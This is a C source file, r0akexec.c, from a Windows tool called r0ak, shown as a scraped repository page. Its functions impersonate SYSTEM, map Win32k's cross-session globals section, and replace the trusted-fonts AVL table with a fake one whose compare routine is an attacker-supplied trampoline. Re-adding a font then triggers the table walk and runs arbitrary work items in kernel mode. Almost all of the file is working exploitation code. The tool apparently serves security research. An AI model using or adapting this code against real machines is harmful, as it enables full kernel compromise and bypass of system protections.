-
Notifications
You must be signed in to change notification settings - Fork 74
/
r0akexec.c
272 lines (235 loc) · 6.6 KB
/
r0akexec.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
/*++
Copyright (c) Alex Ionescu. All rights reserved.
Module Name:
r0akexec.c
Abstract:
This module implements the kernel-mode execution engine for r0ak
Author:
Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
Environment:
User mode only.
--*/
#include "r0ak.h"
typedef struct _CONTEXT_PAGE
{
RTL_BALANCED_LINKS Header;
UCHAR Reserved[0x50];
WORK_QUEUE_ITEM WorkItem;
} CONTEXT_PAGE, *PCONTEXT_PAGE;
//
// Tracks execution state between calls
//
typedef struct _KERNEL_EXECUTE
{
PXSGLOBALS Globals;
PKERNEL_ALLOC TrampolineAllocation;
PRTL_BALANCED_LINKS TrampolineParameter;
} KERNEL_EXECUTE, *PKERNEL_EXECUTE;
_Success_(return != 0)
BOOL
KernelExecuteRun (
_In_ PKERNEL_EXECUTE KernelExecute
)
{
PRTL_AVL_TABLE realTable, fakeTable;
BOOL b;
//
// Remember original pointer
//
realTable = KernelExecute->Globals->TrustedFontsTable;
//
// Remove arial, which is our target font
//
b = RemoveFontResourceExW(L"C:\\windows\\fonts\\arial.ttf", 0, NULL);
if (b == 0)
{
printf("[-] Failed to remove font: %lx\n", GetLastError());
return b;
}
//
// Save the original trusted font file table and overwrite it with our own.
//
fakeTable = (PRTL_AVL_TABLE)((KernelExecute->Globals) + 1);
fakeTable->BalancedRoot.RightChild = KernelExecute->TrampolineParameter;
KernelExecute->Globals->TrustedFontsTable = fakeTable;
//
// Set our priority to 4, the theory being that this should force the work
// item to execute even on a single-processor core
//
SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN);
//
// Add a font -- Win32k.sys will check if it's in the trusted path,
// triggering the AVL search. This will trigger the execute.
//
b = AddFontResourceExW(L"C:\\windows\\fonts\\arial.ttf", 0, NULL);
if (b == 0)
{
printf("[-] Failed to add font: %lx\n", GetLastError());
}
//
// Restore original pointer and thread priority
//
KernelExecute->Globals->TrustedFontsTable = realTable;
SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END);
return b;
}
VOID
KernelExecuteTeardown (
_In_ PKERNEL_EXECUTE KernelExecute
)
{
//
// Free the trampoline context
//
KernelFree(KernelExecute->TrampolineAllocation);
//
// Unmap the globals
//
UnmapViewOfFile(KernelExecute->Globals);
//
// Free the context
//
HeapFree(GetProcessHeap(), 0, KernelExecute);
}
_Success_(return != 0)
BOOL
KernelExecuteSetup (
_Outptr_ PKERNEL_EXECUTE* KernelExecute,
_In_ PVOID TrampolineFunction
)
{
PRTL_AVL_TABLE fakeTable;
BOOL b;
NTSTATUS status;
HANDLE hFile;
UNICODE_STRING name;
OBJECT_ATTRIBUTES objectAttributes;
//
// Callers can't pass NULL
//
if (KernelExecute == NULL)
{
return FALSE;
}
//
// Initialize the context
//
*KernelExecute = HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(**KernelExecute));
if (*KernelExecute == NULL)
{
printf("[-] Out of memory allocating execution tracker\n");
return FALSE;
}
//
// Get a SYSTEM token
//
b = ElevateToSystem();
if (b == FALSE)
{
printf("[-] Failed to elevate to SYSTEM privileges\n");
HeapFree(GetProcessHeap(), 0, *KernelExecute);
return FALSE;
}
//
// Open a handle to Win32k's cross-session globals section object
//
RtlInitUnicodeString(&name, L"\\Win32kCrossSessionGlobals");
InitializeObjectAttributes(&objectAttributes,
&name,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
status = ZwOpenSection(&hFile, MAXIMUM_ALLOWED, &objectAttributes);
//
// We can drop impersonation now
//
b = RevertToSelf();
if (b == FALSE)
{
//
// Not much to do but trace
//
printf("[-] Failed to revert impersonation token: %lX\n",
GetLastError());
}
//
// Can't keep going if we couldn't get a handle to the section
//
if (!NT_SUCCESS(status))
{
printf("[-] Couldn't open handle to kernel execution block: %lx\n",
status);
CloseHandle(hFile);
HeapFree(GetProcessHeap(), 0, *KernelExecute);
return FALSE;
}
//
// Map the section object in our address space
//
(*KernelExecute)->Globals = MapViewOfFile(hFile,
FILE_MAP_ALL_ACCESS,
0,
0,
sizeof((*KernelExecute)->Globals));
CloseHandle(hFile);
if ((*KernelExecute)->Globals == NULL)
{
printf("[-] Couldn't map kernel execution block: %lx\n",
GetLastError());
HeapFree(GetProcessHeap(), 0, *KernelExecute);
return FALSE;
}
//
// Setup the table
//
printf("[+] Mapped kernel execution block at 0x%.16p\n",
(*KernelExecute)->Globals);
fakeTable = (PRTL_AVL_TABLE)((*KernelExecute)->Globals + 1);
fakeTable->DepthOfTree = 1;
fakeTable->NumberGenericTableElements = 1;
fakeTable->CompareRoutine = TrampolineFunction;
return TRUE;
}
_Success_(return != 0)
BOOL
KernelExecuteSetCallback (
_In_ PKERNEL_EXECUTE KernelExecute,
_In_ PVOID WorkFunction,
_In_ PVOID WorkParameter
)
{
PCONTEXT_PAGE contextBuffer;
PKERNEL_ALLOC kernelAlloc;
//
// Allocate the right child page that will be sent to the trampoline
//
contextBuffer = KernelAlloc(&kernelAlloc, sizeof(*contextBuffer));
if (contextBuffer == NULL)
{
printf("[-] Failed to allocate memory for WORK_QUEUE_ITEM\n");
return FALSE;
}
//
// Fill out the worker and its parameter
//
contextBuffer->WorkItem.WorkerRoutine = WorkFunction;
contextBuffer->WorkItem.Parameter = WorkParameter;
//
// Write into the buffer
//
contextBuffer = (PCONTEXT_PAGE)KernelWrite(kernelAlloc);
if (contextBuffer == NULL)
{
KernelFree(kernelAlloc);
printf("[-] Failed to find kernel memory for WORK_QUEUE_ITEM\n");
return FALSE;
}
//
// Return the balanced links with the appropriate work item
//
KernelExecute->TrampolineAllocation = kernelAlloc;
KernelExecute->TrampolineParameter = &contextBuffer->Header;
return TRUE;
}